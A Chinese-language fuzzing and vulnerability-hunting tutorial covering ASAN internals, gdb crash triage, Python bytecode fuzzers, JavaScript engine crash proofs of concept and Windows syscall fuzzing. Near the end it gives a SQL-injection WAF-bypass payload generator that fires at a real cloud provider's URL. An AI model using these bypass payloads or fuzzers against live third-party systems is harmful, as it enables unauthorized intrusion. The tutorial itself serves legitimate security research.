这块内存数据表示占用8字节缓冲区进行投毒的内存布局.如果程序中大量使用这样的内存,那么很容易就把ASAN的Shadow Table占满,于是我们就有压缩Shadow Table的需求.压缩之后,Shadow Table的内存布局就变成了:
```text
FF FF FF FF 00 FF FF FF FF
```
此时内存占用变小了一半.现在我们再回过来理解内存粒度的概念,未优化时的内存粒度为1,优化之后的内存粒度为8.先来看直观的例子:
```c
int main(int argc,char** argv) {
char buffer[0x10] = {0};
buffer[0x10] = 'C';
return 1;
}
// 编译参数:clang -fsanitize=address ./test_asan_granularity.c -o ./test_asan_granularity
```

接下来尝试编译`clang -fsanitize=address -mllvm -asan-mapping-scale=4 ./test_asan_granularity.c -o ./test_asan_granularity`,ASAN的崩溃内容出现了异常.

接下来再观察这个测试用例.因为内存粒度为8字节(为什么要取值为8字节压缩呢?笔者猜测应该是对齐x64平台的数据类型),此时buffer占用4字节,剩下4字节变量a也在Shadow Table压缩的这块内存里.ASAN的处理方法是在这一字节的Shadow Table内存中记录一个标记,标识这里可能会存在内存越界(只要Shadow Table的值不为0就认为是有异常的).
```c
int main(int argc,char** argv) {
short buffer[2] = {0};
long a;
buffer[3] = 1024;
return 1;
}
```

现在我们就可以理解ASAN的这一行输出的意义了:
```text
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07 // <<<< 这里呀
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
```
它的意思是,当前被压缩的内存中存在n字节其它变量占用的内存(n=1-7).
#### 如何调试使用ASAN的程序?
一般地,ASAN崩溃有几种可能:
* ASAN初始化时崩溃,可能是机器上内存不足导致.
* 全局对象初始化时崩溃,比如说C++全局声明的类对象,它会在程序初始化阶段(还记得init_array嘛,就是在这里插入了回调函数实例化全局对象)执行,也会存在内存问题.
* 运行时库异常,常见于Windows平台上.
* 创建栈时崩溃.
* 项目代码崩溃.
笔者在上一小节测试内存粒度时遇到了ASAN在函数初始化的阶段创建Shadow Table时直接崩溃了.

从输出我们可以知道,main函数的断点命中之后,接下来执行一次单步调试时就抛出ASAN的检测异常了,也就是说没有执行到用户在main函数中写的任何代码就崩溃了,那么产生崩溃肯定是在ASAN在创建Shadow Table初始化函数栈时触发的崩溃.我们把源程序反编译,查看0x4C500B的汇编.

对应的LLVM IR:
```llvm
%21 = inttoptr i64 %20 to i64*
store i64 -1012762419733073423, i64* %21, align 1
```
原来是对Shadow Table进行投毒时触发了内存异常,导致程序异常崩溃了,知道原因之后就有思路再去寻找办法解决问题,像这样奇奇怪怪的问题还有很多,只能通过调试去找到问题的根源再解决.
那么如何调试一次由用户代码触发的崩溃呢?笔者的方法是:
* 根据ASAN栈崩溃信息定位到触发崩溃的代码,并分析漏洞原因是因为那些判断逻辑没有做好检验和关注变量内容.
* 根据猜想编写gdb脚本.
* 运行gdb观察值的变化.
举个例子,代码某个位置产生了越界访问,于是猜想是不是长度校验判断有问题,编写gdb脚本来监控这两个值的变化:
```gdb
b func1
command
b 1031
command
print ">>>>"
print "Size="
print array_size
print "offset="
print offset
c
end
c
end
```
然后使用gdb命令执行`gdb --command=./gdb_crash_analysis.gsh -arg ./fuzzer file ./crash`,观察崩溃前对应的数值.
```
Breakpoint 2, func1 (this=0x7fffffffbae0, stream_0=0x7fffffffbb00, int_2=59852, int_3=1668261324, int_4=60, int_5=45056, int_6=1668246528, int_7=204,
class508_0=..., rangeList1_0=0x7fffffff7820, list_0=std::vector of length 2, capacity 2 = {...}, list_1=std::vector of length 2, capacity 2 = {...},
list_0_types=std::vector of length 2, capacity 2 = {...}) at Process.cpp
1468 arrays[j] = *(stream_0->begin() + Position + j);
$6 = ">>>>"
$7 = "Size="
$8 = 20
$9 = "offset="
$10 = 1668261324 // <<<< Overflow !
Program received signal SIGSEGV, Segmentation fault.
0x000000000060980e in func1 (this=0x7fffffffbae0, stream_0=0x7fffffffbb00, int_2=59852, int_3=1668261324, int_4=60, int_5=45056, int_6=1668246528,
int_7=204, class508_0=..., rangeList1_0=0x7fffffff7820, list_0=std::vector of length 2, capacity 2 = {...}, list_1=std::vector of length 2, capacity 2 = {...},
list_0_types=std::vector of length 2, capacity 2 = {...}) at Process.cpp
1468 arrays[j] = *(stream_0->begin() + Position + j); //// <<< Position = 1668261324
(gdb)
AddressSanitizer:DEADLYSIGNAL
=================================================================
==2995382==ERROR: AddressSanitizer: SEGV on unknown address 0x7ff2203d3dcc (pc 0x000000609846 bp 0x7ffc18159c50 sp 0x7ffc18157760 T0)
==2995382==The signal is caused by a READ memory access.
#0 0x609846 in func1(std::vector<unsigned char, std::allocator<unsigned char> >*, int, int, int, int, int, int, C508, RangeList*, std::vector<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > >&, std::vector<int, std::allocator<int> >&, std::vector<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > >, std::allocator<std::pair<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::vector<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, std::allocator<std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > > > > > >&) Process.cpp
#1 0x6006e7 in func1(FileReaderHelp*, FileInfo, std::vector<unsigned char, std::allocator<unsigned char> >&, St*, Struct90) Process.cpp
# ....
#9 0x54c65b in main fuzz_main.cpp
#10 0x7ff1c3c26cb1 in __libc_start_main csu/../csu/libc-start.c:314:16
#11 0x411c0d in _start (v5+0x411c0d)
```
#### x64 ASAN为什么不兼容?
有时候在64位平台上使用ASAN编译会提示以下错误(参考链接:https://stackoverflow.com/questions/59007118/how-to-enable-address-sanitizer-at-godbolt-org/59010436#59010436):
```text
==3==ERROR: AddressSanitizer failed to allocate 0xdfff0001000 (15392894357504) bytes at address 2008fff7000 (errno: 12)
==3==ReserveShadowMemoryRange failed while trying to map 0xdfff0001000 bytes. Perhaps you're using ulimit -v
```
在32位引入ASAN编译时,Shadow Table分配内存占用几百MB.但是使用64位ASAN编译时会占用20T内存,因为malloc分配这么大的内存失败,才提示了这个错误.解决方法一般有两个:1.直接限制内存分配大小,让malloc()成功分配;2.设置虚拟内存到交换分区.
ASAN官方的解决方法是使用ulimit命令来限制内存使用(参考引用:https://github.com/mirrorer/afl/blob/master/docs/notes_for_asan.txt),但是这个方式并不一定有效.所以我们可以使用虚拟内存映射到磁盘交互分区的方式再次尝试(参考引用:https://qastack.cn/unix/44985/limit-memory-usage-for-a-single-linux-process)
#### ASAN for Windows使用MSVC还是LLVM?
https://developercommunity.visualstudio.com/t/enabled-asan-address-sanitizer-for-x64-build-cause/1139763
https://devblogs.microsoft.com/cppblog/asan-for-windows-x64-and-debug-build-support/
https://docs.microsoft.com/en-us/cpp/build/reference/incremental-link-incrementally?view=msvc-160
https://github.com/microsoft/WSL/issues/121
#### 主程序和动态链接库的ASAN兼容吗?
有空再写
## 参考引用
1. Compile-time-instrumentation-flow-in-LLVM(https://www.researchgate.net/figure/Compile-time-instrumentation-flow-in-LLVM_fig1_262175489)
2. LLVM Sanitizer-Coverage Document(https://clang.llvm.org/docs/SanitizerCoverage.html)
3. LLVM Source-based Code Coverage(https://bcain-llvm.readthedocs.io/projects/clang/en/release_50/SourceBasedCodeCoverage/)
4. libfuzzer-workshop(https://github.com/Dor1s/libfuzzer-workshop)
5. LLVM AddressSanitizer Document(https://clang.llvm.org/docs/AddressSanitizer.html)
6. AddressSanitizer Wiki(https://github.com/google/sanitizers/wiki/AddressSanitizer)
7. llvm::MemIntrinsic Class Reference(https://llvm.org/doxygen/classllvm_1_1MemIntrinsic.html)
8. llvm::IntrinsicInst Class Reference(https://llvm.org/doxygen/classllvm_1_1IntrinsicInst.html)
9. LLVM llvm-lifetime-start-intrinsic(https://llvm.org/docs/LangRef.html#llvm-lifetime-start-intrinsic)
10. llvm::AllocaInst Class Reference(https://llvm.org/doxygen/classllvm_1_1AllocaInst.html)
11. llvm::IRBuilder Class Template Reference(https://llvm.org/doxygen/classllvm_1_1IRBuilder.html)
12. C++全局构造和析构(https://www.jianshu.com/p/56ea6e9d00e9)
13. CVE-2020-14364 QEMU逃逸 漏洞分析 (含完整EXP)(https://mp.weixin.qq.com/s/MQyczZXRfOsIQewNf7cfXw)
14. libFuzzer Document(https://llvm.org/docs/LibFuzzer.html)
15. libFuzzer Source by guidovranken(https://github.com/guidovranken/libfuzzer-gv)
================================================
FILE: 2.Fuzzing 模糊测试之数据输入.md
================================================
## 必备工具
Python ,Source Insight
## Fuzzing 与代码覆盖率
前面一章说到在Github 上快速阅读代码,这样有助于我们去了解关于我们要挖掘漏洞的目标的一些理解,对于程序有了一些理解之后,接下来就可以尝试写些Fuzzing 来跑跑漏洞了.
Fuzzing 是模糊测试的意思,我们可以按照给定的格式来生成数据或者随机生成,观察程序有没有处理异常或者程序崩溃.读者要注意的一点是:**二进制Fuzzing 的思路和WEB Fuzzing 的思路是完全不同的**,后面会通过许多的例子来告诉大家二进制和WEB Fuzzing 到底差异在哪里.**Fuzzing 和源码挖洞是相互辅助的!不要把能不能挖到漏洞的锅都丢给Fuzzing ,Fuzzing 不出来就是没有漏洞;也不要把全部的精力都花在阅读源码上,有很多时候会迷失在代码里,忘记上下文到底在做些什么,越看越迷茫.这是成本与收益的博弈,对于代码量较大的程序来说,偏向Fuzzing 的投入产出比较高;对于代码量较小的程序来说,偏向阅读源码的投入产出比较高**.
代码覆盖率是说,这次自动化测试触发了的代码占整体代码的比率是多少.要想对一个程序的所有代码都要测试到,这样的代码覆盖率就是100% ,这是不可能的,因为会有很多的功能和代码是需要联合起来触发的,有的代码触发条件逻辑非常复杂,这些都是Fuzzing 的短板,Fuzzing 在对某一个攻击点测试上效果是很好的,一个程序会有很多的攻击点,所以要针对各个不同的攻击点都要写不同的Fuzzer ,提高Fuzzing 代码覆盖率.
## Fuzzing 攻击点
以Python 为例子,Python 的攻击点有三处:库,内部对象,运行环境
### Python 库
关于Python 的库代码,我们可以从Python 安装路径下的`Lib` 目录中找到

每个库都能够去找个针对性的Fuzzer 跑一跑,不过有些Python 库是做系统操作的,**重点挑一些外部数据可以流进来,然后又可以进行处理的**,比如:json,urllib,requests 这些库.本地库找到漏洞有时候利用会比较鸡肋,除非你的渗透对象是云服务(比如SAE 这种只提供一个执行容器的云,那么我们就需要找到一个可以绕过Python 解析器能够直接执行二进制代码的方式来绕过沙盒,如果读者不是很理解这个操作,同样的原理请参考pwn2own 从浏览器到系统system/root 提权),否则能够用利用的地方比较少.这个是我在挖requests 的时候挖到的一个洞,可以在Cookie `max-age` 中设置字符串值触发Cookielib 处理异常,丢弃掉这个Set-cookie 字段,让爬虫无法获取Cookie .传送门:https://github.com/lcatro/Python_CookieLib_0day
上面提到的库都是Python 的代码相互调用,但是有一些库是能触发二进制代码的,比如:http://www.freebuf.com/articles/network/27817.html
### Python 内部对象
说到Python 内部对象,对没有了解过解析器是如何做到远程代码执行的同学推荐阅读:https://github.com/lcatro/vuln_javascript
对内部对象做一些的操作,最后可以达到RCE (远程代码执行)的结果.我们先看看PoC 是怎么样的(以JavaScript 为例子,Python 版没有找到,原理都差不多的),Link :https://github.com/tunz/js-vuln-db
```
PoC 1 :
function opt() {
let obj = '2.3023e-320';
for (let i = 0; i < 1; i++) {
obj.x = 1;
obj = +obj;
obj.x = 1;
}
}
function main() {
for (let i = 0; i < 100; i++) {
opt();
}
}
main();
PoC 2 :
function opt() {
let arr = [];
return arr['x'];
}
function main() {
let arr = [1.1, 2.2, 3.3];
for (let i = 0; i < 0x10000; i++) {
opt();
}
Array.prototype.__defineGetter__('x', Object.prototype.valueOf);
print(opt());
}
main();
PoC 3 :
var f = function()
{
var o = { a: {}, b: { ba: { baa: 0, bab: [] }, bb: {}, bc: { bca: {bcaa: 0, bcab: 0, bcac: this} } } };
o.b.bc.bca.bcab = 0;
o.b.bb.bba = Array.prototype.slice.apply(o.b.ba.bab);
};
while(true) f(f);
```
细心的你应该能从这些PoC 里面发现了很多Fuzzing 的痕迹,对于这种涉及到解析器运行时产生的问题,是需要构造代码来Fuzzing 的.要展开来讲还需要用很多篇幅,后面还会介绍到一个东西叫AST (抽象语法树),读者们可以结合AST 和js-vuln-db 的PoC 这两个东西一起细细琢磨,很有意思的.
### Python 运行环境
Python 运行环境有两部分:编译和执行.Python 的编译请参考`compile()` 函数,我们关注Python 运行环境的执行部分,对应的源码在`Python/Ceval.c PyEval_EvalFrameEx()`.Python 的OpCode 的格式如下:
```
| OpCode | 没有操作数的OpCode
| OpCode | OpNum1 | 一个操作数的OpCode
| OpCode | OpNum1 | OpNum2 | 两个操作数的OpCode
```
关于操作码的具体信息在`Include/Opcode.h` 里.那么我们生成的Python 字节码要怎么样才能传递到`PyEval_EvalFrameEx()` 里执行呢?
## Fuzzing 的入口点
找到攻击点之后,还需要给Fuzzing 构建一个入口点,让我们的Fuzzing 生成的数据流能够进入到这些地方去.以AFL 为例子(本篇文章没有介绍AFL 的使用,读者们可以从这里了解更多关于AFL 的使用:https://github.com/lcatro/Fuzzing-ImageMagick ;关于libFuzzer 推荐阅读:https://github.com/Dor1s/libfuzzer-workshop (入门教程);https://github.com/google/fuzzer-test-suite (真实的测试用例)),我们给AFL Fuzzing 的入口点就是命令行,通过使用不同的命令参数组合来触发更多的代码覆盖率,举个例子
```bash
afl-fuzz -i samples -o output ./magick convert @@ /dev/null
afl-fuzz -i samples -o output ./magick composite @@ /dev/null
afl-fuzz -i samples -o output ./magick compare @@ /dev/null
afl-fuzz -i samples -o output ./magick montage @@ /dev/null
```
AFL 就会把变异的样本传递进去测试,有些库是完全没有像ImageMagick 这种入口的,比如:libGif ,libxml 这些,就得要手工构造入口点,再提供给AFL 来Fuzzing
对于Python 来说,我们还有pyc 文件,pyc 文件里面保存的是Python OpCode ,使用Python 执行pyc 之后,最后会将OpCode 传递到`PyEval_EvalFrameEx()` 执行,关于pyc 的文件结构读者们可以自行搜素,下面放一段打包字节码成pyc 结构的代码
```python
import marshal
class code_object(object):
def __init__(self) :
self.co_argcount=0
self.co_nlocals=0
self.co_stacksize=1
self.co_flags=0x40
self.co_code=b''
self.co_consts=()
self.co_names=()
self.co_varnames=()
self.co_filename=''
self.co_name='<module>'
self.co_firstlineno=1
self.co_lnotab=b'\x00\x01'
self.co_freevars=()
self.co_cellvars=()
def serialize_code_object(code_object) :
code_buffer=b'\x63'
code_buffer+=marshal.dumps(code_object.co_argcount)[1:]
code_buffer+=marshal.dumps(code_object.co_nlocals)[1:]
code_buffer+=marshal.dumps(code_object.co_stacksize)[1:]
code_buffer+=marshal.dumps(code_object.co_flags)[1:]
code_buffer+=marshal.dumps(code_object.co_code)
code_buffer+=marshal.dumps(code_object.co_consts)
code_buffer+=marshal.dumps(code_object.co_names)
code_buffer+=marshal.dumps(code_object.co_varnames)
code_buffer+=marshal.dumps(code_object.co_freevars)
code_buffer+=marshal.dumps(code_object.co_cellvars)
code_buffer+=marshal.dumps(code_object.co_filename)
code_buffer+=marshal.dumps(code_object.co_name)
code_buffer+=struct.pack('L',code_object.co_firstlineno)
code_buffer+=marshal.dumps(code_object.co_lnotab)
return code_buffer
def save_to_pyc(file_path,code_object) :
file=open(file_path, 'wb')
if file :
file.write(imp.get_magic())
file.write(struct.pack('L',time.time()))
file.write(serialize_code_object(code_object))
file.close()
def make_code_object(opcode_data) :
compile_code_object = python_opcode_build.code_object()
compile_code_object.co_argcount = 0
compile_code_object.co_code = packet_code_object_in_try_block(opcode_data)
compile_code_object.co_consts = tuple(make_random_string_list(3,8),)
compile_code_object.co_names = tuple(make_random_string_list(3,8))
compile_code_object.co_varnames = tuple(make_random_string_list(3,8))
return compile_code_object
```
## Fuzzing 数据生成
找到了一个攻击点并且构造好Fuzzing 入口点之后,这个时候就需要传递一些数据进去测试了,一般有两种方式进行Fuzzing
### 随机生成数据
随机生成数据是真的随机,我们来看看Fuzzer 的代码
```python
import imp
import marshal
import os
import random
import struct
import time
class code_object_class(object):
def __init__(self) :
self.co_argcount=0
self.co_nlocals=0
self.co_stacksize=1
self.co_flags=0x40
self.co_code=b''
self.co_consts=()
self.co_names=()
self.co_varnames=()
self.co_filename=''
self.co_name='<module>'
self.co_firstlineno=1
self.co_lnotab=b'\x00\x01'
self.co_freevars=()
self.co_cellvars=()
def serialize_code_object(code_object) :
code_buffer=b'\x63'
code_buffer+=marshal.dumps(code_object.co_argcount)[1:]
code_buffer+=marshal.dumps(code_object.co_nlocals)[1:]
code_buffer+=marshal.dumps(code_object.co_stacksize)[1:]
code_buffer+=marshal.dumps(code_object.co_flags)[1:]
code_buffer+=marshal.dumps(code_object.co_code)
code_buffer+=marshal.dumps(code_object.co_consts)
code_buffer+=marshal.dumps(code_object.co_names)
code_buffer+=marshal.dumps(code_object.co_varnames)
code_buffer+=marshal.dumps(code_object.co_freevars)
code_buffer+=marshal.dumps(code_object.co_cellvars)
code_buffer+=marshal.dumps(code_object.co_filename)
code_buffer+=marshal.dumps(code_object.co_name)
code_buffer+=struct.pack('L',code_object.co_firstlineno)
code_buffer+=marshal.dumps(code_object.co_lnotab)
return code_buffer
def save_to_pyc(file_path,code_object) :
file=open(file_path, 'wb')
if file :
file.write(imp.get_magic())
file.write(struct.pack('L',time.time()))
file.write(serialize_code_object(code_object))
file.close()
def make_random_string(length) :
data = ''
for index in range(length) :
data += chr(random.randint(0,255))
return data
def make_random_string_list(list_count,string_length) :
return_list = []
for list_index in range(list_count) :
for string_index in range(list_count) :
return_list.append(make_random_string(string_length))
return return_list
def packet_code_object_in_try_block(code) :
code_length_low = (len(code) % 0x100) & 0xFF
code_length_height = (len(code) >> 8) & 0xFF
try_block = b'\x79'
try_block += chr(code_length_height)
try_block += chr(code_length_low)
try_block += code
try_block += b'\x6e\x07\x00\x01\x01\x01\x6e\x01\x00\x58\x64\x01\x00\x53'
return try_block
def make_code_object(opcode_data) :
compile_code_object = code_object_class()
compile_code_object.co_argcount = 0
compile_code_object.co_code = packet_code_object_in_try_block(opcode_data)
compile_code_object.co_consts = tuple(make_random_string_list(3,8),)
compile_code_object.co_names = tuple(make_random_string_list(3,8))
compile_code_object.co_varnames = tuple(make_random_string_list(3,8))
return compile_code_object
if __name__ == '__main__' :
while True :
code_object = make_code_object(make_random_string(64))
save_to_pyc('python_fuzzing.tmp.pyc',code_object)
os.system('python python_fuzzing.tmp.pyc')
```
运行效果

### 按结构生成数据
上面的Fuzzing 已经出现了崩溃的结果,现在我们可以开开心心地拿样本来分析漏洞崩溃原因了,不过这里是在讨论如何Fuzzing ,所以就不多做漏洞分析了,细心的你应该观察到了这一点

这些OpCode 无法被运行环境所识别,所以提示了异常.重复来跑这种没有意义的Fuzzing 其实是很低效的,我们回去阅读`PyEval_EvalFrameEx()` 找到解决问题的答案.
在`Python/Ceval.c:1199` 行代码里,这里是OpCode 的解析执行部分,我们看这个switch 的default 部分(`Python/Ceval.c:3134`)
```c
default:
fprintf(stderr,
"XXX lineno: %d, opcode: %d\n",
PyFrame_GetLineNumber(f),
opcode);
PyErr_SetString(PyExc_SystemError, "unknown opcode");
why = WHY_EXCEPTION;
break;
```
原来是OpCode 没有被case 语句判断成功,那么再去看看`include\Opcode.h` 的OpCode 都有哪些取值
```c
#ifndef Py_OPCODE_H
#define Py_OPCODE_H
#ifdef __cplusplus
extern "C" {
#endif
/* Instruction opcodes for compiled code */
#define STOP_CODE 0
#define POP_TOP 1
#define ROT_TWO 2
#define ROT_THREE 3
// .....
#define SETUP_WITH 143
/* Support for opargs more than 16 bits long */
#define EXTENDED_ARG 145
#define SET_ADD 146
#define MAP_ADD 147
enum cmp_op {PyCmp_LT=Py_LT, PyCmp_LE=Py_LE, PyCmp_EQ=Py_EQ, PyCmp_NE=Py_NE, PyCmp_GT=Py_GT, PyCmp_GE=Py_GE,
PyCmp_IN, PyCmp_NOT_IN, PyCmp_IS, PyCmp_IS_NOT, PyCmp_EXC_MATCH, PyCmp_BAD};
#define HAS_ARG(op) ((op) >= HAVE_ARGUMENT)
#ifdef __cplusplus
}
#endif
#endif /* !Py_OPCODE_H */
```
这些OpCode 都是连续的,从0 到147 这个范围里取值,那么就可以确定`OpCode = range(0,104)` ,接下来再看第94 行和第166 行代码
```c
#define HAVE_ARGUMENT 90 /* Opcodes from here have an argument: */ // OpCode.h:90
#define STORE_NAME 90 /* Index in name list */
#define DELETE_NAME 91 /* "" */
#define UNPACK_SEQUENCE 92 /* Number of sequence items */
#define FOR_ITER 93
#define LIST_APPEND 94
// ...
#define HAS_ARG(op) ((op) >= HAVE_ARGUMENT) // OpCode.h:166
```
现在我们知道OpCode 的数值大于90 就是需要带参数的OpCode ,现在就需要找到OpNumber 的格式到底是怎么样的,来看看`Ceval.c:1167` 行代码
```c
opcode = NEXTOP();
oparg = 0; /* allows oparg to be stored in a register because
it doesn't have to be remembered across a full loop */
if (HAS_ARG(opcode))
oparg = NEXTARG();
#define NEXTOP() (*next_instr++)
#define NEXTARG() (next_instr += 2, (next_instr[-1]<<8) + next_instr[-2])
```
现在可以知道,OpCode 格式如下:
```
不带参数: OpCode (1 Byte)
带参数: OpCode (1 Byte) | OpNumber (2 Byte)
```
根据上面得到的信息,可以写一个按照结构生成数据的模块.
```python
def opcode_no_opnumber() : # 针对无操作数的指令进行数据生成
opcode = random.randint(0,89)
return chr(opcode)
def opcode_has_opnumber() : # 针对有操作数的指令进行数据生成
opcode = random.randint(90,104)
opnumber1 = random.randrange(0xFF)
opnumber2 = random.randrange(0xFF)
return chr(opcode) + chr(opnumber1) + chr(opnumber2)
def make_opcode_stream(opcode_length = 6) :
opcode_stream = ''
for index in range(opcode_length) :
if random.randint(0,1) : # 50% 的选择概率
opcode_stream += opcode_no_opnumber()
else :
opcode_stream += opcode_has_opnumber()
return opcode_stream
```
写好了这两个模块之后,还需要修改这些代码
```python
def make_code_object(opcode_data) :
compile_code_object = code_object_class()
compile_code_object.co_argcount = 0
compile_code_object.co_code = opcode_data
compile_code_object.co_consts = tuple(make_random_string_list(3,8),)
compile_code_object.co_names = tuple(make_random_string_list(3,8))
compile_code_object.co_varnames = tuple(make_random_string_list(3,8))
return compile_code_object
if __name__ == '__main__' :
while True :
code_object = make_code_object(make_opcode_stream())
save_to_pyc('python_fuzzing.tmp.pyc',code_object)
os.system('python python_fuzzing.tmp.pyc')
```
然后就可以继续跑Fuzzing 了,效果如下


往下继续运行,我们还是可以看到Python 运行环境抛出了OpCode 识别失败,我们再回去读读`Opcode.h` 的代码
```c
#define SLICE 30
/* Also uses 31-33 */
#define SLICE_1 31
#define SLICE_2 32
#define SLICE_3 33
#define STORE_SLICE 40
/* Also uses 41-43 */
#define STORE_SLICE_1 41
#define STORE_SLICE_2 42
#define STORE_SLICE_3 43
#define DELETE_SLICE 50
/* Also uses 51-53 */
#define DELETE_SLICE_1 51
#define DELETE_SLICE_2 52
#define DELETE_SLICE_3 53
```
原来OpCode 的取值并不是连续的,这就解开了困扰我们的问题,读者们可以拿上面的代码去继续完善
## 什么时候选择随机生成数据,什么时候选择按结构生成数据
**如果输入是有限制的,那就按结构生成数据,如果输入是无限制的,那就随机生成数据**
输入限制是什么意思呢?不妨来看几个例子
### Fuzzing WAF
对WAF Fuzzing .攻击点有:SQL Payload 拦截,XSS Payload 拦截,WebShell 拦截,文件目录拦截,系统命令拦截等部分.现在拿出SQL Payload Fuzzing 来说,SQL Payload 是有限的,比如:' ," ,select ,union ,where 等关键字,还有SQL Bypass Payload ,可以参考SQLMAP 的Bypass 套路:https://github.com/sqlmapproject/sqlmap/tree/master/tamper
对于输入是有限的Fuzzing ,**一定要尽可能搜集多的关键字,提高Fuzzing 代码覆盖率**
```python
sql_tiny_dict = ['select','from','*','where','order by','desc','asc','insert','top','limit', # SQL 基础语句
'update','delete','set','as','in','create','table','db'
'\'','"','%','_', # 特殊符号
'(',')','=','<','>','<>','<=','=>','between','like','+','-','and','or','not','|', # 运算符
'NULL'
]
sql_function = [ # 函数
'avg','count','first','last','max','min','sum','ucase','lcase','mid','len','round','now','format',
'ascii','char','nchar','lower','upper','str','ltrim','rtrim','left','right','substring','charindex','patindex',
'quotename','replicate','reverse','replace','space','stuff','cast','convert','day','month','year','dateadd',
'datediff','datename','datepart','getdate','suser_name','user_name','user','show_role','db_name','object_name',
'col_name','col_length','valid_name','charindex','rank','column_name'
]
bypass_string = [ # Bypass 关键字
'\'','"',
'/*','*','*/','/**/',' ',b'\0','%00','()','//','\\','--','#','--+','-- -',';','#',
'%27','%u0027','%u02b9','%u02bc','%u02c8','%u2032','%uff07','%c0%27','%c0%a7','%e0%80%a7', # '
'%20','%u0020','%uff00','%c0%20','%c0%a0','%e0%80%a0', # space
'%28','%u0028','%uff08','%c0%28','%c0%a8','%e0%80%a8', # (
'%29','%u0029','%uff09','%c0%29','%c0%a9','%e0%80%a9', # )
'\r','%0D','\n','%0A','%0B','\r\n'
]
def make_payload(using_payload_count,using_bypass_count) :
output_payload = ''
if not random.randint(0,9) : # 10%
output_payload += random.choice(['\'','"','%27','%28'])
if not random.randint(0,1) : # 5%
output_payload += make_space()
if not random.randint(0,3) : # 25%
output_payload += random.choice(bypass_string)
if not random.randint(0,1) : # 12.5%
output_payload += make_space()
for using_payload_count_index in range(using_payload_count) :
if random.randint(0,1) :
sql_tiny_element = random.choice(sql_tiny_dict) #fuzzing_entry.random_encode_string( )
bypass_payload = ''
for using_bypass_count_index in range(using_bypass_count) :
bypass_payload += random.choice(bypass_string)
sql_tiny_element += bypass_payload + make_space()
else :
sql_tiny_element = random.choice(sql_function)
if random.randint(0,1) : # 25%
for using_bypass_count_index in range(using_bypass_count) :
sql_tiny_element += random.choice(bypass_string)
sql_tiny_element += '(' + make_argument() + ')'
output_payload += sql_tiny_element + make_space()
return output_payload
def fuzzing() :
sql_url = 'https://cloud.tencent.com/?test='
while True :
sql_payload = make_payload(random.randint(1,6),random.randint(0,3))
print 'SQL payload :',
fuzzing_output.green_output(sql_payload)
print 'is pass:' ,
responed = requests.get(sql_url + sql_payload)
if 200 == responed.status_code :
fuzzing_output.red_output(str(responed.status_code))# + ' ' + responed.text)
else :
fuzzing_output.bule_output(str(responed.status_code))
time.sleep(0.5)
```
运行结果如下,利用这个简单的Fuzzer 还找到了个腾讯云SQL Bypass 的洞.

### Fuzzing Windows 内核
Windows 内核的攻击点有很多,在这里我们只讨论内核函数syscall 的Fuzzing .参考链接:https://github.com/mwrlabs/KernelFuzzer ,https://github.com/tinysec/windows-syscall-table
syscall 是有固定格式的:内核函数SSDT 索引号,参数1,参数2 等等.我们来看看KernelFuzzer 里面是怎么样做Fuzzing 输入点的,代码在`bughunt_syscall.asm` 和`bughunt_syscall_x64.asm` 中
```asm
mov ecx, [ebp + 18h] ; main (argv[5]) = dw0x04
push ecx
mov ecx, [ebp + 14h] ; main (argv[4]) = dw0x03
push ecx
mov ecx, [ebp + 10h] ; main (argv[3]) = dw0x02
push ecx
mov ecx, [ebp + 0Ch] ; main (argv[2]) = dw0x01
push ecx ; push argument in stack ..
mov eax, [ebp + 08h] ; main (argv[1]) = syscall_uid
mov edx, 7FFE0300h
call dword ptr [edx] ; call syscall ..
```
我们再来看看SSDT 内核函数的信息
| name | id32 | id64 | argc32 | argc64 | argcFrom
| ------| ------ | ------ | ------ | ------ | ------
| NtAcceptConnectPort | 2 | 2 | 6 | 6 | wow64
| NtAccessCheck | 0 | 0 | 8 | 8 | wow64
| NtAccessCheckAndAuditAlarm | 439 | 41 | 11 | 11 | wow64
| NtAccessCheckByType | 438 | 99 | 11 | 11 | wow64
| NtAccessCheckByTypeAndAuditAlarm | 437 | 89 | 16 | 16 | wow64
| NtAccessCheckByTypeResultList | 436 | 100 | 11 | 11 | wow64
| NtAccessCheckByTypeResultListAndAuditAlarm | 435 | 101 | 16 | 16 | wow64
| NtAccessCheckByTypeResultListAndAuditAlarmByHandle | 434 | 102 | 17 | 17 | wow64
id32 ,id64 指的是32 和64 位平台下的内核函数序号.argc32 和argc64 是指32 和64 位平台下的内核函数参数个数.所以我们可以知道Fuzzing 数据的构造方式了
```
syscall 2 a,b,c,d,e,f
syscall 0 a,b,c,d,e,f,g,h
syscall 439 a,b,c,d,e,f,g,h,i,j,k
...
```
再精细一点来设计这个Fuzzing ,就还需要考虑到句柄,内核缓冲区等各种信息,更多细节在此就不多细说了,感兴趣的读者可以阅读:https://github.com/mwrlabs/KernelFuzzer/blob/master/bughunt_thread.h
### Fuzzing ImageMagick
如果读者已经读过了我之前写过的那篇Fuzzing Imagemagick 的文章,可能你会对这段代码有疑惑,Link:https://github.com/lcatro/Fuzzing-ImageMagick/blob/master/%E5%A6%82%E4%BD%95%E4%BD%BF%E7%94%A8Fuzzing%E6%8C%96%E6%8E%98ImageMagick%E7%9A%84%E6%BC%8F%E6%B4%9E.md#5-如何使用libfuzzer-fuzzing-imagemagick ,摘录部分代码
```c
static const struct {
char
*name;
unsigned char
*magic;
unsigned int
length,
offset;
} StaticMagic[] = {
#define MAGIC(name,offset,magic) {name,(unsigned char *)magic,sizeof(magic)-1,offset}
MAGIC("WEBP", 8, "WEBP"),
